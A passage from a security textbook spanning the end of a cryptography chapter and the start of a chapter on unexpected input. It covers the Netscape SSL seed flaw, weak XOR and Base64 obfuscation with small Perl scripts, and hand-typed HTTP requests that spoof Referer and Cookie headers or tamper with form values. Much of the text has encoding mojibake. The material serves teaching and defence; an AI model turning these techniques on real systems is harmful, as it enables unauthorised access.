bug is an almost classic example of one of the ways in which vendors
implement broken cryptography, and as such it continues to remain
relevant to this day. We will limit this discussion to the vulnerability in
the UNIX version of Netscape’s SSL implementation as discovered by Ian
Goldberg and David Wagner, although the PC and Macintosh versions
were similarly vulnerable.
Before I can explain the exact nature of this security hole we will
need to cover some background information, such as SSL technology
and random numbers. SSL is a certificate-based authentication and
encryption scheme developed by Netscape during the fledgling days of
e-commerce. It was intended to secure communications such as credit
card transactions from eavesdropping by would-be thieves. Because of
U.S. export restrictions, the stronger and virtually impervious 128-bit
(key) version of the technology was not in widespread use. In fact, even
Tools & Traps…
Continued
188 Chapter 6 • Cryptography
Understanding Amateur
Cryptography Attempts
If your data is not being protected by one of the more modern, computationally
secure algorithms that we’ve already discussed in this chapter, or some similar
variant, then your data is probably not secure. In this section, we’re going to discover
how simple methods of enciphering data can be broken using rudimentary
cryptanalysis.
www.syngress.com
domestically, most of Netscape’s users were running the anemic 40-bit
international version of the software.
Most key generation, including SSL key generation, requires some
form of randomness as a factor of the key generation process. Arbitrarily
coming up with random numbers is much harder than it sounds, especially
for machines. So we usually end up using pseudo-random numbers
that are devised from mostly random events, such as the time
elapsed between each keystroke you type or the movement of your
mouse across the screen.
For the UNIX version of its version 1.1 browser, Netscape used a
conglomeration of values, such as the current time, the process ID (PID)
number of the Netscape process and its parent’s process ID number.
Suppose the attacker had access to the same machine as the Netscape
user simultaneously, which is the norm in UNIX-based multi-user architectures.
It would be trivial for the attacker to generate a process listing
to discover Netscape’s PID and its parent’s PID. If the attacker had the
ability to capture TCP/IP packets coming into the machine, he could use
the timestamps on these packets to make a reasonable guess as to the
exact time the SSL certificate was generated. Once this information was
gathered, the attacker could narrow down the keyspace to about 106
combinations, which is then brute force attacked with ease at near realtime
speeds. Upon successfully discovering Netscape’s SSL certificate
seed generation values, he can generate an identical certificate for himself
and either eavesdrop or hijack the existing session.
Clearly, this was a serious security flaw that Netscape would need
to address in its later versions, and it did, providing patches for the 1.x
series of browsers and developing a new and substantially different
random number generator for its 2.x series of browsers. You can read
more details about this particular security flaw in the archives of Dr.
Dobbs’ Journal at www.ddj.com/documents/s=965/ddj9601h.
Cryptography • Chapter 6 189
Classifying the Ciphertext
Even a poorly encrypted message often looks indecipherable at first glance, but
you can sometimes figure out what the message is by looking beyond just the
stream of printed characters. Often, the same information that you can “read
between the lines” on a cleartext message still exists in an enciphered message.
For the mechanisms discussed below, all the “secrecy” is contained in the
algorithm, not in a separate key. Our challenge for these is to figure out the algorithm
used. So for most of them, that means that we will run a password or some
text through the algorithm, which will often be available to us in the form of a
program or other black box device. By controlling the inputs and examining the
outputs, we hope to determine the algorithm.This will enable us to later take an
arbitrary output and determine what the input was.
NOTE
The techniques described in this section are largely ineffective on modern
algorithms such as DES and its successors. What few techniques do exist
to gain information from modern ciphertext are quite complicated and
only work under special conditions.
Frequency Analysis
The first and most powerful method you can employ to crack simple ciphertext
is frequency analysis, which is based on the idea that certain letters are used more
often than others. For example, I can barely write a single word in this sentence
that doesn’t include the letter e. How can letter frequency be of use? You can
create a letter frequency table for your ciphertext, assuming the message is of suf-
ficient length, and compare that table to one charting the English language (there
are many available).That would give you some clues about which characters in
the ciphertext might match up with cleartext letters.
The astute reader will discover that some letters appear with almost identical
frequency. How then can you determine which letter is which? You can either
evaluate how the letters appear in context, or you can consult other frequency
tables that note the appearance of multiple letter combinations such as sh, ph, ie
and the.
www.syngress.com
190 Chapter 6 • Cryptography
Crypto of this type is just a little more complicated than the Caesar Cipher
mentioned at the beginning of the chapter.This was state-of-the-art hundreds of
years ago. Now problems of this type are used in daily papers for commuter
entertainment, under the titles of “Cryptogram,”“CryptoQuote,” or similar. Still,
some people will use this method as a token effort to hide things.This type of
mechanism, or ones just slightly more complex, show up in new worms and
viruses all the time.
Ciphertext Relative Length Analysis
Sometimes the ciphertext can provide you with clues to the cleartext even if you
don’t know how the ciphertext was encrypted. For example, suppose that you
have an unknown algorithm that encrypts passwords such that you have available
the original password and a ciphertext version of that password. If the length or
size of each is the same, then you can infer that the algorithm produces output in
a 1:1 ratio to the input.You may even be able to input individual characters to
obtain the ciphertext translation for each character. If nothing else, you at least
know how many characters to specify for an unknown password if you attempt
to break it using a brute force method.
If you know that the length of a message in ciphertext is identical to the
length of a message in cleartext, you can leverage this information to pick out
pieces of the ciphertext for which you can make guesses about the cleartext. For
example, during WWII while the Allies were trying to break the German Enigma
codes, they used a method similar to the above because they knew the phrase
“Heil Hitler” probably appeared somewhere near the end of each transmission.
Similar Plaintext Analysis
A related method you might use to crack an unknown algorithm is to compare
changes in the ciphertext output with changes in the cleartext input. Of course,
this method requires that you have access to the algorithm to selectively encode
your carefully chosen cleartext. For example, try encoding the strings
“AAAAAA,”“AAAAAB” and “BAAAAA” and note the difference in the ciphertext
output. For monoalphabetic ciphers, you might expect to see the first few
characters remain the same in both outputs for the first two, with only the last
portion changing. If so, then it’s almost trivial to construct a full translation table
for the entire algorithm that maps cleartext input to ciphertext output and vice
versa. Once the translation table is complete, you could write an inverse function
that deciphers the ciphertext back to plaintext without difficulty.
www.syngress.com
Cryptography • Chapter 6 191
What happens if the cipher is a polyalphabetic cipher, where more than one
character changes in the ciphertext for single character changes in cleartext? Well,
that becomes a bit trickier to decipher, depending on the number of changes to
the ciphertext.You might be able to combine this analysis technique with brute
force to uncover the inner workings of the algorithm, or you might not.
Monoalphabetic Ciphers
A monoalphabetic cipher is any cipher in which each character of the alphabet
is replaced by another character in a one-to-one ratio. Both the Caesar Cipher
and ROT13, mentioned earlier in the chapter, are classic examples of monoalphabetic
ciphers. Some monoalphabetic ciphers scramble the alphabet instead
of shifting the letters, so that instead of having an alphabet of ABCDEFGHIJKLMNOPQRSTUVWXYZ,
the cipher alphabet order might be MLNKBJVHCGXFZDSAPQOWIEURYT.
The new scrambled alphabet is used to
encipher the message such that M=A, L=B…T=Z. Using this method, the
cleartext message “SECRET” becomes “OBNQBW.”
You will rarely find these types of ciphers in use today outside of word games
because they can be easily broken by an exhaustive search of possible alphabet
combinations and they are also quite vulnerable to the language analysis methods
we described. Monoalphabetic ciphers are absolutely vulnerable to frequency
analysis because even though the letters are substituted, the ultimate frequency
appearance of each letter will roughly correspond to the known frequency characteristics
of the language.
Other Ways to Hide Information
Sometimes vendors follow the old “security through obscurity” approach, and
instead of using strong cryptography to prevent unauthorized disclosure of certain
information, they just try to hide the information using a commonly known
reversible algorithm like UUEncode or Base64, or a combination of two simple
methods. In these cases, all you need to do to recover the cleartext is to pass the
ciphertext back through the same engine.Vendors may also use XOR encoding
against a certain key, but you won’t necessarily need the key to decode the message.
Let’s look at some of the most common of these algorithms in use.
XOR
While many of the more complex and secure encryption algorithms use XOR
as an intermediate step, you will often find data obscured by a simple XOR
www.syngress.com
192 Chapter 6 • Cryptography
operation. XOR is short for exclusive or, which identifies a certain type of binary
operation with a truth table as shown in Table 6.2. As each bit from A is combined
with B, the result is “0” only if the bits in A and B are identical. Otherwise,
the result is 1.
Table 6.2 XOR Truth Table
A B A XOR B
0 0 0
0 1 1
1 0 1
1 1 0
Let’s look at a very simple XOR operation and how you can undo it. In our
simple example, we will use a single character key (“a”) to obscure a single character
message (“b”) to form a result that we’ll call “ciphertext” (see Table 6.3).
Table 6.3 XOR of “a” and “b”
Item Binary Value
a 01100001
b 01100010
ciphertext 00000011
Suppose that you don’t know what the value of “a” actually is, you only
know the value of “b” and the resulting “ciphertext.”You want to recover the key
so that you can find out the cleartext value of another encrypted message,
“cipher2,” which is 00011010.You could perform an XOR with “b” and the
“ciphertext” to recover the key “a,” as shown in Table 6.4.
Table 6.4 XOR of “ciphertext” and “b”
Item Binary Value
ciphertext 00000011
b 01100010
a 01100001
www.syngress.com
Cryptography • Chapter 6 193
Once the key is recovered, you can use it to decode “cipher2” into the character
“z” (see Table 6.5).
Table 6.5 XOR of “cipher2” and “a”
Item Binary Value
cipher2 00011010
a 01100001
z 01111010
Of course, this example is somewhat oversimplified. In the real world, you are
most likely to encounter keys that are multiple characters instead of just a single
character, and the XOR operation may occur a number of times in series to
obscure the message. In this type of instance, you can use a null value to obtain
the key—that is, the message will be constructed such that it contains only 0s.
Abstract 1 and 0 manipulation like this can be difficult to understand if you
are not used to dealing with binary numbers and values.Therefore, I’ll provide
you with some sample code and output of a simple program that uses a series of
3 XOR operations on various permutations of a key to obscure a particular message.
This short Perl program uses the freely available IIIkey module for the backend
XOR encryption routines.You will need to download IIIkey from
www3.marketrends.net/encrypt/ to use this program.
#!/usr/bin/perl
# Encodes/Decodes a form of XOR text
# Requires the IIIkey module
# Written specifically for HPYN 2nd Ed.
# by FWL 01.07.02
# Use the IIIkey module for the backend
# IIIkey is available from http://www3.marketrends.net/encrypt/
use IIIkey;
# Simple input validation
sub validate() {
if (scalar(@ARGV) < 3) {
print "Error: You did not specify input correctly!\n";
www.syngress.com
194 Chapter 6 • Cryptography
print "To encode data use ./xor.pl e \"Key\" \"String to
Encode\"\n";
print "To decode data use ./xor.pl d \"Key\" \"String to
Decode\"\n";
exit;
}
}
validate();
$tmp=new IIIkey;
$key=$ARGV[1];
$intext=$ARGV[2];
if ($ARGV[0] eq "e") { # encode text
$outtext=$tmp->crypt($intext, $key);
print "Encoded $intext to $outtext";
} elsif ($ARGV[0] eq "d") { # decode text
$outtext=$tmp->decrypt($intext, $key);
print "Decoded $intext to $outtext";
} else { # No encode/decode information given!
print "To encode or decode? That is the question.";
exit;
}
Here’s some sample output:
$ ./xor.pl e "my key" "secret message"
Encoded secret message to 8505352480^0758144+510906534
$ ./xor.pl d "my key" "8505352480^0758144+510906534"
Decoded 8505352480^0758144+510906534 to secret message
www.syngress.com
Cryptography • Chapter 6 195
UUEncode
UUEncode is a commonly used algorithm for converting binary data into a textbased
equivalent for transport via e-mail. As you probably know, most e-mail systems
cannot directly process binary attachments to e-mail messages. So when you
attach a binary file (such as a JPEG image) to an e-mail message, your e-mail
client takes care of converting the binary attachment to a text equivalent, probably
through an encoding engine like UUEncode.The attachment is converted
from binary format into a stream of printable characters, which can be processed
by the mail system. Once received, the attachment is processed using the inverse
of the encoding algorithm (UUDecode), resulting in conversion back to the
original binary file.
Sometimes vendors may use the UUEncode engine to encode ordinary
printable text in order to obscure the message.When this happens, all you need
to do to is pass the encoded text through a UUDecode program to discern the
message. Command-line UUEncode/UUDecode clients are available for just
about every operating system ever created.
Base64
Base64 is also commonly used to encode e-mail attachments similar to
UUEncode, under Multipurpose Internet Mail Extensions (MIME) extensions.
However, you are also likely to come across passwords and other interesting information
hidden behind a Base64 conversion. Most notably, many Web servers that
implement HTTP-based basic authentication store password data in Base64
format. If your attacker can get access to the Base64 encoded username and password
set, he or she can decode them in seconds, no brute force required. One of
the telltale signs that a Base64 encode has occurred is the appearance of one or
two equal signs ( = ) at the end of the string, which is often used to pad data.
Look at some sample code for converting between Base64 data and cleartext.
This code snippet should run on any system that has Perl5 or better with the
MIME::Base64 module from CPAN (www.cpan.org).We have also given you a
couple of usage samples.
#!/usr/bin/perl
# Filename: base64.pl
# Encodes/Decodes Base-64 text
# Requires the MIME::Base64 module
# Written specifically for HPYN 2nd Ed.
www.syngress.com
196 Chapter 6 • Cryptography
# by FWL 01.07.02
# Use the MIME module for encoding/decoding Base-64 strings
use MIME::Base64;
# Simple input validation
sub validate() {
if (scalar(@ARGV) < 2) {
print "Error: You did not specify input correctly!\n";
print "To encode data use ./base64.pl e \"String to Encode\"\n";
print "To decode data use ./base64.pl d \"String to Decode\"\n";
exit;
}
}
validate();
$intext=$ARGV[1];
if ($ARGV[0] eq "e") { # encode text
$outtext=encode_base64($intext);
print "Encoded $intext to $outtext";
} elsif ($ARGV[0] eq "d") { # decode text
$outtext=decode_base64($intext);
print "Decoded $intext to $outtext";
} else { # No encode/decode information given!
print "To encode or decode? That is the question.";
exit;
}
Here’s some sample output:
$ ./base64.pl e "Secret Password"
Encoded Secret Password to U2VjcmV0IFBhc3N3b3Jk
www.syngress.com
Cryptography • Chapter 6 197
$ ./base64.pl d "U2VjcmV0IFBhc3N3b3Jk"
Decoded U2VjcmV0IFBhc3N3b3Jk to Secret Password
Compression
Sometimes you may find that compression has been weakly used to conceal
information from you. In days past, some game developers would compress the
size of their save game files not only to reduce space, but also to limit your
attempts to modify it with a save game editor.The most commonly used algorithms
for this were SQSH (Squish or Squash) and LHA.The algorithms themselves
were somewhat inherited from console games of the 1980s, where they
were used to compress the ROM images in the cartridges. As a rule, when you
encounter text that you cannot seem to decipher via standard methods, you may
want to check to see if the information has been compressed using one of the
plethora of compression algorithms available today.
www.syngress.com
Consumer-Oriented Crypto—
The SDMI Hacking Challenge
Sometimes organizations decide to use cryptography that isn’t necessarily
amateur, but shouldn’t really be considered professional grade
either. For example, the Secure Digital Music Initiative (SDMI) is trying to
develop a watermarking scheme for digital music that carries an extraencoded
signal that prevents the music from being played or copied in
an unauthorized manner. In developing its watermarking scheme, the
SDMI proposed six watermarking schemes to the hacking community
and offered up a $10,000 prize to whoever could break the watermarking
technology, producing a song without any watermark from a
sample song with a watermark. Only samples of the watermarked songs
were made available; the SDMI did not release any details about how
the watermarking schemes themselves worked. A before-and-after
sample of a different song was provided for each of the watermarking
schemes, so that differences could be noted.
Two of the six watermarking schemes were dropped shortly after
the contest began, and the remaining four were ultimately broken
Notes from the Underground…
Continued
198 Chapter 6 • Cryptography
www.syngress.com
within weeks by a team of academic researchers led by Princeton
Professor Edward W. Felten. Felten and his associates chose not to
accept the $10,000 bounty, opting instead to publicly publish the results
of their research. It seems there was a small loophole in the agreement
that was presented to challengers before they would be given the files.
It said that they had to agree to keep all information secret in order to
collect the $10,000. It didn’t say anything about what would happen if
the challenger wasn’t interested in the money. Shortly thereafter, the
seemingly upset SDMI threatened a lawsuit under the provisions of the
Digital Millennium Copyright Act (DMCA) that prevented the sharing of
knowledge that could be used to circumvent copyright protection
schemes. Ultimately the SDMI chose not to pursue the matter, and Felten
and his associates presented their findings at the 10th USENIX Security
Symposium. Felten’s conclusion, which is generally shared by the security
community at large, was that any attempts at watermarking-type
encryption would ultimately be broken. Also of interest is the fact that
Felten’s team identified that no special knowledge in computer science
was needed to break the watermarking schemes; only a general knowledge
of signal processing was required.
You might view this story as yet another example of a vendor
attempting to employ what they proclaim to be “highly secure proprietary
algorithms,” but it is also an example of the continuing evolution
of cryptography and its applications in new ways. Even if these new
applications of cryptography don’t lend themselves well to the use of
conventional algorithms, you would be wise to remain skeptical of
newly proposed unproven algorithms, especially when these algorithms
are kept secret.
Cryptography • Chapter 6 199
Summary
This chapter looked into the meaning of cryptography and some of its origins,
including the Caesar Cipher. More modern branches of cryptography are symmetric
and asymmetric cryptography, which are also known as secret key and public
key cryptography, respectively.
The most common symmetric algorithms in use today include DES,AES, and
IDEA. Since DES is showing its age, we looked at how NIST managed the
development of AES as a replacement, and how Rijndael was selected from five
finalists to become the AES algorithm. From the European perspective, we saw
how IDEA came to be developed in the early 1990s and examined its advantages
over DES.
The early development of asymmetric cryptography was begun in the mid-
1970s by Diffie and Hellman, who developed the Diffie-Hellman key exchange
algorithm as a means of securely exchanging information over a public network.
After Diffie-Hellman, the RSA algorithm was developed, heralding a new era of
public key cryptography systems such as PGP. Fundamental differences between
public key and symmetric cryptography include public key cryptography’s
reliance on the factoring problem for extremely large integers.
Brute force is an effective method of breaking most forms of cryptography,
provided you have the time to wait for keyspace exhaustion, which could take
anywhere from several minutes to billions of years. Cracking passwords is the
most widely used application of brute force; programs such as L0phtcrack and
John the Ripper are used exclusively for this purpose.
Even secure algorithms can be implemented insecurely, or in ways not
intended by the algorithm’s developers. Man-in-the-middle attacks could cripple
the security of a Diffie-Hellman key exchange, and even DES-encrypted
LANMAN password hashes can be broken quite easily. Using easily broken passwords
or passphrases as secret keys in symmetric algorithms can have unpleasant
effects, and improperly stored private and secret keys can negate the security provided
by encryption altogether.
Information is sometimes concealed using weak or reversible algorithms.We
saw in this chapter how weak ciphers are subject to frequency analysis attacks
that use language characteristics to decipher the message. Related attacks include
relative length analysis and similar plaintext analysis.We saw how vendors sometimes
conceal information using XOR and Base64 encoding and looked at some
sample code for each of these types of reversible ciphers.We also saw how, on
occasion, information is compressed as a means of obscuring it.
www.syngress.com
200 Chapter 6 • Cryptography
Solutions Fast Track
Understanding Cryptography Concepts
Unencrypted text is referred to as cleartext, while encrypyted text is
called ciphertext.
The two main categories of cryptography are symmetric key and
asymmetric key cryptography. Symmetric key cryptography uses a single
secret key, while asymmetric key cryptography uses a pair of public and
private keys.
Public key cryptography was first devised as a means of exchanging a
secret key securely by Diffie and Hellman.
Learning about Standard Cryptographic Algorithms
The reason why so many cryptographic algorithms are available for your
use is that each algorithm has its own relative speed, security and ease of
use.You need to know enough about the most common algorithms to
choose one that is appropriate to the situation to which it will be
applied.
Data Encryption Standard (DES) is the oldest and most widely known
modern encryption method around. However, it is nearing the end of its
useful life span, so you should avoid using it in new implementations or
for information you want to keep highly secure.
Advanced Encryption Standard (AES) was designed as a secure
replacement for DES, and you can use several different keysizes with it.
Be aware that asymmetric cryptography uses entirely different principles
than symmetric cryptography.Where symmetric cryptography combines
a single key with the message for a number of cycles, asymmetric
cryptography relies on numbers that are too large to be factored.
The two most widely used asymmetric algorithms are Diffie-Hellman
and RSA.
www.syngress.com
Cryptography • Chapter 6 201
Understanding Brute Force
Brute force is the one single attack that will always succeed against
symmetric cryptography, given enough time.You want to ensure that
“enough time” becomes a number of years or decades or more.
An individual machine performing a brute force attack is slow. If you
can string together a number of machines in parallel, your brute force
attack will be much faster.
Brute force attacks are most often used for cracking passwords.
Knowing When Real Algorithms
Are Being Used Improperly
Understand the concept of the man-in-the-middle attack against a
Diffie-Hellman key exchange.
LANMAN password hashing should be disabled, if possible, because its
implementation allows it to be broken quite easily.
Key storage should always be of the utmost importance to you because if
your secret or private key is compromised, all data protected by those
keys is also compromised.
Understanding Amateur Cryptography Attempts
You can crack almost any weak cryptography attempts (like XOR) with
minimal effort.
Frequency analysis is a powerful tool to use against reasonably lengthy
messages that aren’t guarded by modern cryptography algorithms.
Sometimes vendors will attempt to conceal information using weak
cryptography (like Base64) or compression.
www.syngress.com
202 Chapter 6 • Cryptography
Q: Are there any cryptography techniques which are 100 percent secure?
A: Yes. Only the One Time Pad (OTP) algorithm is absolutely unbreakable if
implemented correctly.The OTP algorithm is actually a Vernam cipher,
which was developed by AT&T way back in 1917.The Vernam cipher
belongs to a family of ciphers called stream ciphers, since they encrypt data in
continuous stream format instead of the chunk-by-chunk method of block
ciphers.There are two problems with using the OTP, however:You must have
a source of truly random data, and the source must be bit-for-bit as long as
the message to be encoded.You also have to transmit both the message and
the key (separately), the key must remain secret, and the key can never be
reused to encode another message. If an eavesdropper intercepts two messages
encoded with the same key, then it is trivial for the eavesdropper to recover
the key and decrypt both messages.The reason OTP ciphers are not used
more commonly is the difficulty in collecting truly random numbers for the
key (as mentioned in one of the sidebars for this chapter) and the difficulty of
the secure distribution of the key.
Q: How long is DES expected to remain in use?
A: Given the vast number of DES-based systems, I expect we’ll continue to see
DES active for another five or ten years, especially in areas where security is
not a high priority. For some applications, DES is considered a “good enough”
technology since the average hacker doesn’t have the resources available (for
now) to break the encryption scheme efficiently. I predict that DES will still
find a use as a casual eavesdropping deterrent, at least until the widespread
adoption of IPv6. DES is also far faster than 3-DES, and as such it is more
suitable to older-style VPN gear that may not be forward-compatible with the
new AES standard. In rare cases where legacy connections are required, the
government is still allowing new deployment of DES-based systems.
www.syngress.com
Frequently Asked Questions
The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.
Cryptography • Chapter 6 203
Q: After the 9/11 attacks I’m concerned about terrorists using cryptography, and
I’ve heard people advocate that the government should have a back door
access to all forms of encryption.Why would this be a bad idea?
A: Allowing back-door access for anyone causes massive headaches for users of
encryption. First and foremost, these back door keys are likely to be stored all
in one place, making that storage facility the prime target for hackers.When
the storage facility is compromised, and I have no doubt that it would be (the
only question is how soon), everyone’s data can effectively be considered
compromised.We’d also need to establish a new bureaucracy that would be
responsible for handing out the back door access, probably in a manner similar
to the way in which wiretaps are currently doled out.We would also
require some sort of watchdog group that certifies the deployment group as
responsible. Additionally, all of our encryption schemes would need to be
redesigned to allow backdoor access, probably in some form of “public key +
trusted key” format. Implementation of these new encryption routines would
take months to develop and years to deploy. New cracking schemes would
almost certainly focus on breaking the algorithm through the “trusted key”
access, leaving the overall security of these routines questionable at best.
Q: Why was CSS, the encryption technology used to protect DVDs from unauthorized
copying, able to be broken so easily?
A: Basically,DVD copy protection was broken so easily because one entity, Xing
Technologies, left their key lying around in the open, which as we saw in this
chapter is a cardinal sin.The data encoded on a DVD-Video disc is encrypted
using an algorithm called the Content Scrambling System (CSS) which can be
unlocked using a 40-bit key. Using Xing’s 40-bit key, hackers were able to brute
force and guess at the keys for over 170 other licensees at a rapid pace.That
way, since the genie was out of the bottle, so to speak, for so many vendors, the
encryption for the entire format was basically broken.With so many keys to
choose from, others in the underground had no difficulty in leveraging these
keys to develop the DeCSS program, which allows data copied off of the DVD
to be saved to another media in an unencrypted format. Ultimately, the CSS
scheme was doomed to failure.You can’t put a key inside millions of DVD
players, distribute them, and not expect someone to eventually pull it out.

[mic64]

Chapter 7 &iexcl;E Unexpected Input
Introduction
The Internet is composed of applications, each performing a role, whether it be
routing, providing information, or functioning as an operating system. Every day
sees many new applications enter the scene. For an application to truly be useful,
it must interact with a user. Be it a chat client, e-commerce Web site, system
command-line utility, or an online game, all applications dynamically modify
execution based on user input. A calculation application that does not take usersubmitted
values to calculate is useless; an e-commerce system that doesn&iexcl;&brvbar;t take
orders defeats the purpose.
Being on the Internet means that the application is remotely accessible by
other people. If coded poorly, the application can leave your system open to security
vulnerabilities. Poor coding can be the result of lack of experience, a coding
mistake, or an unaccounted-for anomaly. Large applications are often developed
in smaller parts consecutively, and joined together for a final project; it&iexcl;&brvbar;s possible
that differences and assumptions exist in a module that, when combined with
other modules, results in a vulnerability.
WARNING
The battle between application developers and network administrators is
ageless. It is very hard to get nonsecurity-conscience developers to
change their applications without having a documented policy to fall
back on that states security as an immediate requirement. Many developers
do not realize that their applications are just as integral to the
security posture of a corporation as the corporation&iexcl;&brvbar;s firewall.
The proliferation of vulnerabilities due to unexpected data is very
high. You can find a nice list in any Web Common Gateway Interface
(CGI) scanner (cgichk, whisker, and so on). Most CGIs scanned for are
known to be vulnerable to an attack involving unexpected user input.
Understanding Why
Unexpected Data Is Dangerous
To interact with a user, an application must accept user-supplied data. It could be
in a simple form (mouse click or single character), or a complex stream (large
www.syngress.com
www.syngress.com
quantities of text). In either case, the user may&iexcl;Xknowingly or not&iexcl;Xsubmit data
the application wasn&iexcl;&brvbar;t expecting.The result could be nil, or it could modify the
intended response of the application. It could lead to the application providing
information to users that they wouldn&iexcl;&brvbar;t normally be able to get, or it could
tamper with the application or underlying system.
Three classes of attack can result from unexpected data:
 Buffer overflow When an attacker submits more data than the application
expects, the application may not gracefully handle the surplus
data. C and C++ are examples of languages that do not properly handle
surplus data (unless the application is specifically programmed to handle
them). Perl and PHP automatically handle surplus data by increasing the
size for variable storage. (See Chapter 8 for more information on buffer
overflows.)
 System functions The data is directly used in some form to interact
with a resource that is not contained within the application itself. System
functions include running other applications, accessing or working with
files, and so on.The data could also modify how a system function
behaves.
 Logic alteration The data is crafted in such a way as to modify how
the application&iexcl;&brvbar;s logic handles it.These types of situations include
diverting authentication mechanisms, altering Structured Query
Language (SQL) queries, and gaining access to parts of the application
the attacker wouldn&iexcl;&brvbar;t normally have access to.
Note that there is no fine line for distinction between the classes, and particular
attacks can sometimes fall into multiple classes.
The actual format of the unexpected data varies; an &iexcl;§unexpected data&iexcl;&uml; attack
could be as simple as supplying a normal value that modifies the application&iexcl;&brvbar;s
intended logical execution (such as supplying the name of an alternate input file).
This format usually requires very little technical prowess.
Then, of course, there are attacks that succeed due to the inclusion of special
metacharacters that have alternate meaning to the application, or the system supporting
it.The Microsoft Jet engine had a problem where pipes ( | ) included
within the data portion of a SQL query caused the engine to execute Visual
Basic for Applications (VBA) code, which could lead to the execution of system
commands.This is the mechanism behind the popular Remote Data Services
Unexpected Input &iexcl;E Chapter 7 207
208 Chapter 7 &iexcl;E Unexpected Input
(RDS) exploit, which has proven to be a widespread problem with installations of
Internet Information Server (IIS) on Windows NT.
Finding Situations
Involving Unexpected Data
Applications typically crunch data all the time&iexcl;Xafter all, that&iexcl;&brvbar;s what computers
were made to do. So where does &iexcl;§unexpected&iexcl;&uml; data come into play? Technically,
it is a consideration in any application that interacts with a user or another
(untrusted) application. However, a few particular situations tend to be quite
common&iexcl;Xlet&iexcl;&brvbar;s take a look at them.
Local Applications and Utilities
A computer system is composed of various applications that the user or system
will run in order to do what it needs to do. Many of these applications interact
with the user, and thus give a malicious user the chance to do something the
application wasn&iexcl;&brvbar;t expecting.This could, for example, mean pressing an abnormal
key sequence, providing large amounts of data, or specifying the wrong types of
values.
Normally this isn&iexcl;&brvbar;t a large problem&iexcl;Xif a user does something bad, the application
crashes and that&iexcl;&brvbar;s that. However, in the UNIX world (which now includes
the Macintosh OS X world as well, because OS X is UNIX BSD under the
hood), some of these applications have special permissions called set user ID (suid)
and set group ID (sgid).This means that the applications will run with elevated
privileges compared to that of the normal user. So although tricking a normal
application might not be of much benefit, tricking a suid or sgid application can
result in the privilege to do things that are normally limited to administrator
types.You&iexcl;&brvbar;ll see some of the common ways to trick these types of applications
later in this chapter.
HTTP/HTML
Web applications make many assumptions; some of the assumptions are just from
misinformation, but most are from a programmer&iexcl;&brvbar;s lack of understanding of how
the Hypertext Transfer Protocol (HTTP) and/or Hypertext Markup Language
(HTML) work.
The biggest mistake programmers make is relying on the HTTP referer header
as a method of security.The referer header contains the address of the referring
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 209
page. Note that the referer header is supplied by the client, at the client&iexcl;&brvbar;s option.
Because it originates with the client, that means it is trivial to spoof. For
example, you can Telnet to port 80 (HTTP port) of a Web server and type the
following:
GET / HTTP/1.0
User-Agent: Spoofed-Agent/1.0
Referer: http://www.wiretrip.net/spoofed/referer/
Here you can see that you submitted a fake referer header and a fake user
agent header. As far as user-submitted information is concerned, the only piece of
information you can justifiably rely on is the client&iexcl;&brvbar;s IP address (although, this too
can be spoofed; see Chapter 12 for more information on spoofing).
Another bad assumption is the dependency on HTML form limitations.
Many developers feel that because they gave you only three options, clients will
submit one of the three. Of course, there is no technical limitation that says they
have to submit a choice given by the developers. Ironically enough, I have seen a
Microsoft employee suggest this as an effective method to combat renegade user
data. I cut him some slack, though&iexcl;Xthe person who recommended this approach
was from the SQL Server team, and not the security or Web team. I wouldn&iexcl;&brvbar;t
expect him to know much more than the internal workings of a SQL server.
So, let&iexcl;&brvbar;s look at this. Suppose that an application generates the following
HTML:
<FORM ACTION="process.cgi" METHOD="GET">
<SELECT NAME="author">
<OPTION VALUE=" Ryan Russell">Ryan Russell
<OPTION VALUE=" Hal Flynn"> Hal Flynn
<OPTION VALUE=" Ryan Permeah"> Ryan Permeah
<OPTION VALUE=" Dan Kaminsky"> Dan Kaminsky
</SELECT>
<INPUT TYPE="Submit">
</FORM>
Here you&iexcl;&brvbar;ve been provided with a (partial) list of authors. Having received
the form HTML, the client disconnects, parses the HTML, and presents the
visual form to the user. Once the user decides an option, the client sends a separate
request to the Web server for the following URL:
process.cgi?author=Ryan%20Russell
www.syngress.com
210 Chapter 7 &iexcl;E Unexpected Input
Simple enough. However, at this point, there is no reason why I couldn&iexcl;&brvbar;t
submit the following URL instead:
process.cgi?author=Rain%20Forest%20Puppy
As you can see, I just subverted the assumed &iexcl;§restriction&iexcl;&uml; of the HTML form.
Another thing to note is that I can enter this URL independently of needing to
request the prior HTML form. In fact, I can telnet to port 80 of the Web server
and request it by hand.There is no requirement that I need to request or view
the prior form; you should not assume that incoming data will necessarily be the
return result of a previous form.
One assumption I love to disprove to people is the use of client-side data filtering.
Many people include cute little JavaScript (or, ugh,VBScript) that will
double-check that all form elements are indeed filled out.They may even go as
far as to check to make sure that numeric entries are indeed numeric, and so on.
The application then works off the assumption that the client will perform the
necessary data filtering, and therefore tends to pass it straight to system functions.
The fact that it&iexcl;&brvbar;s client side should indicate you have no control over the
choice of the client to use your cute little validation routines. If you seriously
can&iexcl;&brvbar;t imagine someone having the technical prowess to circumvent your clientside
script validation, how about imagining even the most technically inept
people turning off JavaScript/Active scripting. Some corporate firewalls even
filter out client-side scripting. An attacker could also be using a browser that does
not support scripting (such as Lynx).
Of particular note, using the size parameter in conjunction with HTML form
inputs is not an effective means of preventing buffer overflows. Again, the size
parameter is merely a suggested limitation the client can impose if it feels like it
(that is, if it understands that parameter).
If there ever were to be a &iexcl;§mystical, magical&iexcl;&uml; element to HTTP, it would defi-
nitely involve cookies. No one seems to totally comprehend what these little critters
are, let alone how to properly use them.The media is portraying them as the
biggest compromise of personal privacy on the Web. Some companies are using
them to store sensitive authentication data.Too bad none of them are really right.
Cookies are effectively a method to give data to clients so they will return it
to you. Is this a violation of privacy? The only data being given to you by the
clients is the data you originally gave them in the first place.There are mechanisms
that allow you to limit your cookies so the client will only send them back
to your server.Their purpose was to provide a way to save state information
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 211
across multiple requests (because HTTP is stateless; that is, each individual request
made by a client is independent and anonymous).
Considering that cookies come across within HTTP, anything in them is sent
plain text on the wire. Faking a cookie is not that hard. Observe the following
Telnet to port 80 of a Web server:
GET / HTTP/1.0
User-Agent: HaveACookie/1.0
Cookie: MyCookie=SecretCookieData
I have just sent the MyCookie cookie containing the data &iexcl;§SecretCookieData&iexcl;&uml;.
Another interesting note about cookies is that they are usually stored in a
